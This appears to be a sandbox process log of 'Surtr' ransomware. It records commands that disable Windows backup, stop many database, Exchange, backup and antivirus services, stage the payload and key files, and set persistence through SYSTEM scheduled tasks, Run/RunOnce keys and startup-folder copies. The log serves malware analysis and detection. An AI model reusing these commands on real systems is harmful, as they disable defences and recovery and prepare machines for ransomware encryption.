C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "mozyprobackup"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MsDtsServer"3⤵
-
C:\Windows\system32\net.exenet stop "MsDtsServer"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MsDtsServer"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MsDtsServer100"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MsDtsServer110"3⤵
-
C:\Windows\system32\net.exenet stop "MsDtsServer110"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MsDtsServer110"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSExchangeES"3⤵
-
C:\Windows\system32\net.exenet stop "MSExchangeES"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSExchangeES"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSExchangeIS"3⤵
-
C:\Windows\system32\net.exenet stop "MSExchangeIS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSExchangeIS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c mkdir "C:\ProgramData\Service"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSExchangeMGMT"3⤵
-
C:\Windows\system32\net.exenet stop "MSExchangeMGMT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSExchangeMGMT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSExchangeMTA"3⤵
-
C:\Windows\system32\net.exenet stop "MSExchangeMTA"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"3⤵
- Drops startup file
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"3⤵
- Drops startup file
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSExchangeSA"3⤵
-
C:\Windows\system32\net.exenet stop "MSExchangeSA"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSExchangeSA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSExchangeSRS"3⤵
-
C:\Windows\system32\net.exenet stop "MSExchangeSRS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSExchangeSRS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSOLAP$SQL_2008"3⤵
-
C:\Windows\system32\net.exenet stop "MSOLAP$SQL_2008"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SQL_2008"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSOLAP$SYSTEM_BGC"3⤵
-
C:\Windows\system32\net.exenet stop "MSOLAP$SYSTEM_BGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSOLAP$TPS"3⤵
-
C:\Windows\system32\net.exenet stop "MSOLAP$TPS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSOLAP$TPSAMA"3⤵
-
C:\Windows\system32\net.exenet stop "MSOLAP$TPSAMA"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPSAMA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$BKUPEXEC"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$BKUPEXEC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$BKUPEXEC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$ECWDB2"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$ECWDB2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$ECWDB2"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$PRACTICEMGT"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$PRACTICEMGT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$PRACTTICEBGC"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$PRACTTICEBGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +R /S "C:\ProgramData\Service"3⤵
-
C:\Windows\system32\attrib.exeattrib +R /S "C:\ProgramData\Service"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$PROFXENGAGEMENT"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$PROFXENGAGEMENT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$SBSMONITORING"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$SBSMONITORING"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$SBSMONITORING"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$SHAREPOINT"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$SHAREPOINT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHAREPOINT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +R /S "%TEMP%\Service"3⤵
-
C:\Windows\system32\attrib.exeattrib +R /S "C:\Users\Admin\AppData\Local\Temp\Service"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F3⤵
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F4⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$SQL_2008"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$SQL_2008"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQL_2008"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$SYSTEM_BGC"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$SYSTEM_BGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$TPS"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$TPS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$TPSAMA"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$TPSAMA"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPSAMA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$VEEAMSQL2008R2"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$VEEAMSQL2008R2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$VEEAMSQL2012"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$VEEAMSQL2012"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$PROFXENGAGEMENT"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$PROFXENGAGEMENT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SBSMONITORING"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$SBSMONITORING"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SHAREPOINT"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$SHAREPOINT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SQL_2008"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$SQL_2008"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SYSTEM_BGC"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$SYSTEM_BGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$TPS"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$TPS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$TPSAMA"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLFDLauncher$TPSAMA"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLSERVER"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLSERVER"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLServerADHelper100"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLServerADHelper100"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLServerOLAPService"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLServerOLAPService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MySQL80"3⤵
-
C:\Windows\system32\net.exenet stop "MySQL80"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MySQL80"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MySQL57"3⤵
-
C:\Windows\system32\net.exenet stop "MySQL57"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MySQL57"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "OracleClientCache80"3⤵
-
C:\Windows\system32\net.exenet stop "OracleClientCache80"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "OracleClientCache80"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "PDVFSService"3⤵
-
C:\Windows\system32\net.exenet stop "PDVFSService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "PDVFSService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "POP3Svc"3⤵
-
C:\Windows\system32\net.exenet stop "POP3Svc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "POP3Svc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ReportServer"3⤵
-
C:\Windows\system32\net.exenet stop "ReportServer"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ReportServer"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ReportServer$SQL_2008"3⤵
-
C:\Windows\system32\net.exenet stop "ReportServer$SQL_2008"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ReportServer$SQL_2008"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ReportServer$SYSTEM_BGC"3⤵
-
C:\Windows\system32\net.exenet stop "ReportServer$SYSTEM_BGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ReportServer$TPS"3⤵
-
C:\Windows\system32\net.exenet stop "ReportServer$TPS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ReportServer$TPSAMA"3⤵
-
C:\Windows\system32\net.exenet stop "ReportServer$TPSAMA"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPSAMA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "RESvc"3⤵
-
C:\Windows\system32\net.exenet stop "RESvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "RESvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "sacsvr"3⤵
-
C:\Windows\system32\net.exenet stop "sacsvr"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "sacsvr"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SamSs"3⤵
-
C:\Windows\system32\net.exenet stop "SamSs"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SamSs"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SAVAdminService"3⤵
-
C:\Windows\system32\net.exenet stop "SAVAdminService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SAVAdminService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SAVService"3⤵
-
C:\Windows\system32\net.exenet stop "SAVService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SAVService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Smcinst"3⤵
-
C:\Windows\system32\net.exenet stop "Smcinst"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Smcinst"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SmcService"3⤵
-
C:\Windows\system32\net.exenet stop "SmcService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SmcService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SMTPSvc"3⤵
-
C:\Windows\system32\net.exenet stop "SMTPSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SMTPSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SNAC"3⤵
-
C:\Windows\system32\net.exenet stop "SNAC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SNAC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SntpService"3⤵
-
C:\Windows\system32\net.exenet stop "SntpService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SntpService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "sophossps"3⤵
-
C:\Windows\system32\net.exenet stop "sophossps"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "sophossps"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$BKUPEXEC"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$BKUPEXEC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F3⤵
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F4⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$ECWDB2"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$ECWDB2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$ECWDB2"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$PRACTTICEBGC"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$PRACTTICEBGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$PRACTTICEMGT"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$PRACTTICEMGT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$PROFXENGAGEMENT"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$PROFXENGAGEMENT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$SBSMONITORING"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$SBSMONITORING"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$SHAREPOINT"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$SHAREPOINT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$SQL_2008"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$SQL_2008"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQL_2008"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"3⤵
- Drops startup file
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$SYSTEM_BGC"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$SYSTEM_BGC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "SQLWriter"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLWriter"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$TPS"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$TPS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f4⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$TPSAMA"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$TPSAMA"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPSAMA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f4⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f4⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$VEEAMSQL2008R2"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$VEEAMSQL2008R2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f4⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$VEEAMSQL2012"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$VEEAMSQL2012"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLBrowser"3⤵
-
C:\Windows\system32\net.exenet stop "SQLBrowser"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLBrowser"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "VeeamEnterpriseManagerSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLSafeOLRService"3⤵
-
C:\Windows\system32\net.exenet stop "SQLSafeOLRService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLSafeOLRService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLSERVERAGENT"3⤵
-
C:\Windows\system32\net.exenet stop "SQLSERVERAGENT"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "VeeamNFSSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamNFSSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLTELEMETRY"3⤵
-
C:\Windows\system32\net.exenet stop "SQLTELEMETRY"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLTELEMETRY$ECWDB2"3⤵
-
C:\Windows\system32\net.exenet stop "SQLTELEMETRY$ECWDB2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "VeeamTransportSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamTransportSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLWriter"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SstpSvc"3⤵
-
C:\Windows\system32\net.exenet stop "SstpSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SstpSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "svcGenericHost"3⤵
-
C:\Windows\system32\net.exenet stop "svcGenericHost"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "svcGenericHost"5⤵
-
-
-
-
